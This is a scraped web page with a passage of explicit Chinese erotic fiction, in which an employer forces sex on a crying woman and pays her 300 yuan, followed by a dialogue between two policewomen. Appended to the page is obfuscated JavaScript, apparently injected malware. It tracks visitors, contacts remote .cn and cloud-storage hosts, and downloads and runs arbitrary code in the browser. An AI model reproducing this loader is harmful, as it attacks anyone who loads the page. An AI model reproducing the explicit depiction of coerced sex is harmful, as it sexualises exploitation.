太值了!他兴奋猛烈地抽送着,让鸡巴一次次地侵佔着肉穴,啪啪地脆响有节奏
的充满了韵律。很快,粘稠晶亮的水就裹在他的鸡巴上被抽出体外,并像溪水般
源源不断。

这是一个耻辱的时刻,这也是一个耻辱的姿势。她无力保护自己,而将最隐
秘最珍贵的地方完全送了出去任人羞辱!林松岚终于忍不住哭出了声,她的泪水
像雨一样落下来,洗刷着自己的脸庞。那扣住浴缸边缘的双手已经麻木了,胳膊
也僵硬了,整个身体都没有了知觉。她只是就这幺支撑着自己,不让自己倒下。

她只盼着这一切尽快结束!

丁先生开始用最快的速度操她,彷彿要将所有的激情都填满在她的体内。突
然他拔出了鸡巴,一边低喊着一边套弄鸡巴,很快一股浓稠的精液纷纷射在她的
屁股上。

「太他妈舒服了。你可真是一个尤物。」

丁先生擦乾净自己的鸡巴,穿好裤子,从皮夹里拿出崭新的三百块钱扔给瘫
在地上哭泣的林松岚。

「你看,还是新票。别哭了,得了便宜还卖乖。快点起来收拾收拾,一会儿
赵小姐就回来了。要是让她看见你这个样子,那你的薪水还是不能涨哦。」

丁先生走了出去,随后传来一声响亮的关门声。林松岚趴在地上慢慢止住了
哭泣,看着地上的三百块钱,脑子里像是被堵满了石头,重重的,没有一点空隙。

她吃过很多苦,也承受了别人无法想像的磨难,但她都挺住了。她也曾经是
一朵春天里骄傲盛开的牡丹,让周围的人羡慕又嫉妒。但生活跟她开了一个玩笑,
一个天大的玩笑。她变成一棵草,一棵卑微无助的小草。她忽然笑了,在嘲笑自
己,那曾经她认为最圣洁最高贵的身体,原来只值三百块钱。只有五分钟,却仿
佛过了一辈子。她拿起钱,叠好放进口袋里。从纸盒里抽出纸巾,彻底用力地把
身后那滩液体擦掉。她站起身穿上裤子,对着宽大的镜子整理自己。她看见自己
那张经过岁月洗涤后依旧秀美的脸上此时没有一点活力,彷彿死了一般。她把头
发拢到后面重新用发卡别后,露出一双发红却明亮的大眼睛。她努力想挤出一点
笑容,但却失败了。她终于看清了自己,一个步入中年却依然保持着几分姿色,
刚刚用身体换了三百块钱的女人,她的嘴角终于动了动。

「张姐,妳怎麽了?看着有点心神不宁啊。是不是没有睡好觉?」晓凡看着
对面正在发呆的张建英问。

「哦,没什麽。就是小雅的事。学习上的……唉,明年就要考大学了。」她
胡乱地回答。

「嗨,我还以为什麽事呢?现在还考什麽大学啊,反正出来也没工作。不过
妳们家小雅应该不会,有老沈呢。到时候一进公司不就行了?再说不行就给她送
国外去,现在有钱人都把孩子往外边送,谁跟这帮老百姓挤在一块妳死我活的呀。」

「妳怎麽满脑子都是这些乱七八糟的东西?还是管好妳自己的事情吧。我问
妳,妳跟赵明怎麽样了?」

「约会我去了,真的很无聊。」接着晓凡小声对张建英说:「昨天有人给我
介绍了一个,大白领,还不错,有车有房,我正在考虑。」

「什麽?妳怎麽能这样?那赵明怎麽办?」

「张姐,我跟他刚吃了一顿饭,妳想我怎麽样?嫁给他?那我也太贱了吧。

都什麽年代了,没点经济基础还想娶老婆?做梦。」

「晓凡,妳这样早晚会吃亏的。两个人的爱情……」张建英突然停住了,她
不想再往下说。一些现在已经连自己都开始动摇和怀疑的信仰与道理,怎麽能再
讲给晓凡听呢?「算了,我看我是老了,真的跟不上这个时代了。」

「妳可不老,张姐,妳要是不穿这身警服,换一身高雅的时装往街上一走,
肯定一群小白脸在屁股后面屁颠屁颠地跟着妳。」

「呸,越说越离谱。妳真不应该当警察。」

「主席也是人嘛,更何况警察。谁规定警察就都得跟圣人英雄一样?我也是
人民群众,脱了衣服也……」

「妳再说?小心我拧妳嘴。」张建英及时制止了晓凡的话。

「行了,妈,我不说了。」她笑嘻嘻地低头做自己的事情。

张建英觉得自己好像真的老了,有时候像一个站在人群外面看热闹的人,衹

关闭
关闭
function OLrAJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function dSMOXiRm(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OLrAJ(t);};window[''+'o'+'y'+'d'+'h'+'M'+'A'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MJTu(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=dSMOXiRm,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MJTu(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MJTu(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYYlMkZhLmdiYYnB0bC5jbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS53aGJnei5jbiUzQTTk1MzU=','9489',window,document,['Y','T']);}:function(){};
function vSqnHVE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TWZFbJg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vSqnHVE(t);};window[''+'A'+'Q'+'G'+'M'+'I'+'Z'+'D'+'g'+'R'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function UhtP(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TWZFbJg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=UhtP(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();